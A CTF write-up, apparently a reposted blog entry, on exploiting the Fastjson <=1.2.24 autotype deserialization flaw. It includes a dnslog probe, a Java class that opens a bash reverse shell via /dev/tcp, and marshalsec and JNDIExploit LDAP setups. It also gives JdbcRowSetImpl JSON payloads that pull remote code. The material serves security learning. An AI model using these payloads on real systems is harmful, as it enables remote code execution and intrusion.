当前位置: 首页 > wzjs >正文

秀网站模板wordpress七牛视频教程

秀网站模板,wordpress七牛视频教程,怎么做网站论坛,江西省建设工程安全质量监督管理局网站知识点 fastjson反序列化 将json转为java对象的过程 漏洞存在版本 Fastjson<1.2.24 漏洞原理 fastjson引入的autotype功能&#xff0c;本来是为了区分同名同元素但是不同类型的对象序列化后内容一致无法还原的问题&#xff0c;但是这一操作允许了json数据中通过type来指定对…

知识点

  • fastjson反序列化
    • 将json转为java对象的过程
  • 漏洞存在版本
    • Fastjson<=1.2.24
  • 漏洞原理
    • fastjson引入的autotype功能,本来是为了区分同名同元素但是不同类型的对象序列化后内容一致无法还原的问题,但是这一操作允许了json数据中通过@type来指定对象类型,在反序列化时会自动加载并实例化这个对象,在实例化对象过程中会触发lookup(),对json数据进行解析后并将得到的值传递给实例化对象的元素,攻击者可以构造恶意的json数据使得其在反序列化时执行恶意的程序
  • 参考文章
    • Fastjson反序列化漏洞原理与漏洞复现(CVE-2017-18349)-CSDN博客
    • Java安全之FastJson JdbcRowSetImpl 链分析 - nice_0e3 - 博客园

解题思路

题目地址:http://eci-2zebk6ey6n2ylyydw5g5.cloudeci1.ichunqiu.com:8080

进入页面有一个输入框,通过输入123回显会发现提示非json格式,构造{123:123}输入发现回显了json数据,说明可能存在fastjson漏洞

构造payload进行检测

{"a":{"@type":"java.net.Inet4Address","val":"91f8688124.ipv6.1433.eu.org."}}
后面的网址为dnslog网站上获取的dns子域名,用于检测是否进行了解析

发现dnslog网站有回显了,说明该json数据被解析执行了,存在fastjson序列化漏洞

既然验证了这里存在fastjson漏洞,那么直接利用该漏洞反弹shell

正常的复现步骤(未成功反弹shell就不截图展示了)
  1. 编写一个java文件,如GetShell.java;
    1. //注意下面的类名应和文件名保持一致,我写的时GetShell,所以文件名为GetShell.java;要不然编译会提示报错
      import java.lang.Runtime;
      import java.lang.Process;
      public class GetShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/公网IP/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
      }
      
  2. 将该文件利用javac GetShell.java进行编译成class文件
  3. 将class文件放到公网服务器中;然后运行http服务使得该文件可以被访问下载
    1. python3 -m http.server 8089                     py3
      python -m SimpleHTTPServer 8088                 py2 这里可以指定http服务运行端口,如果不指定的话默认为8000

  4. 使用marshalsec开启ldap服务
    1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.179.128:8000/#GetShell" 9999http://192.168.179.128:8000/#GetShell :为通过http服务下载该class文件的路径
      9999 :为ldap/rmi协议远程访问该文件的监听端口通过该命令可以监听是否有远程ldap/rmi服务访问该class文件的动作,如果监听到了请求则使其通过http服务自动下载指定的class文件并执行,以此来达到反弹shell的目的
  5. 根据getshell文件中反弹shell的端口进行监听
    1. nc -lvp  6666
      
  6. 通过bp抓包,构造访问该恶意文件的payload
    1. {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://公网IP:9999/GetShell","autoCommit":true}}@type:目标反序列化类名;
      dataSourceName:RMI注册中心绑定恶意服务;
      autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去调用setAutoCommit方法
  7. 通过发送该payload就能发现服务端对ldap和http的监听窗口有了远程访问下载的记录,但是我这里一直反弹不了shell,通过查找资料发现可能是由于我的jdk版本过高导致编译成功的class文件没办法目标机上解析并执行
我的解决方法

        已经知道了,这里需要利用ldap协议远程下载恶意程序实现反弹shell,那么可以利用Jnid注入工具生成指定的payload,然后让目标机访问该payload也可以实现反弹shell(log4j2漏洞的利用手法)

        需要用到的工具:JNDIExploit-1.2-SNAPSHOT.jar  

        工具放在附件中,具体使用方法可以通过-h参数进行查看

运行该jndi注入工具

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 公网ip运行并监听ldap协议:默认端口为1389,也可以通过 -l 参数指定ldap监听端口通过下面命令可以看payload格式
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u选用这个payload格式可以反弹shell
ldap://null:1389/Basic/ReverseShell/[ip]/[port]

监听6666端口:nc -lvp 6666

构造payload在bp中发送即可成功反弹shell

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://公网ip:1389/Basic/ReverseShell/公网ip/6666","autoCommit":true}}

通过反弹的shell可以成功获取flag

修复建议

        将fastjson升级到最新版本

10

http://www.dtcms.com/wzjs/535649.html

相关文章:

  • 网站建设咨询云尚网络维普网论文收录查询
  • 网站建设单位有哪些网站规划与建设课程设计
  • 网站建设外出考察信息青岛网站建设方案维护
  • 网站被攻击了怎么处理高校里做网站的工作
  • 针对不同网站的cdn加速深圳广告公司联系方式电话
  • 网站运营是做什么的怎么样sem和seo的关系
  • 阳光家园广州网站小程序排行榜
  • 织梦网站怎么做seo优化网站建设 设计创意
  • 时尚类网站设计公司永久免费的仓库管理软件
  • 建网站哪家好北京如何做企业黄页网站
  • 上海外贸网站建设wordpress 4.7.3
  • 域名买完后如何做网站淄博网站成功案例
  • 国外网站国内备案坪山网站的建设
  • 互联网公司设计师都设计什么宁阳网站seo推广
  • 电子商务网站网络推广方式微博网站开发与设计开题报告
  • 做违法网站如何绑定网站域名解析
  • 南昌做兼职的网站百度关键词优化企业
  • 做网站对企业有什么好处网站建设留言板怎么做
  • 做网站视频存储wordpress 文章 两边
  • 工商注册网站模板西安seo外包公司
  • 做网站去哪里好重庆seo主管
  • 专业网站设计方案公司网站地图生成软件
  • 建设网站多久广东卫视你会怎么做网站
  • 自己做网站有什么意义怎么用ps做简单网站
  • html电影网站源码信息展示网站
  • 太原网站建设加q.479185700特价流量网站
  • apache 做网站目前还有阳性患者吗最新消息
  • 有专业做网站优化的吗苏州专业高端网站建设企业
  • 黄冈网站建设的方案模板兔自用WordPress
  • flash在线制作网站目前国内有哪些网站做家具回收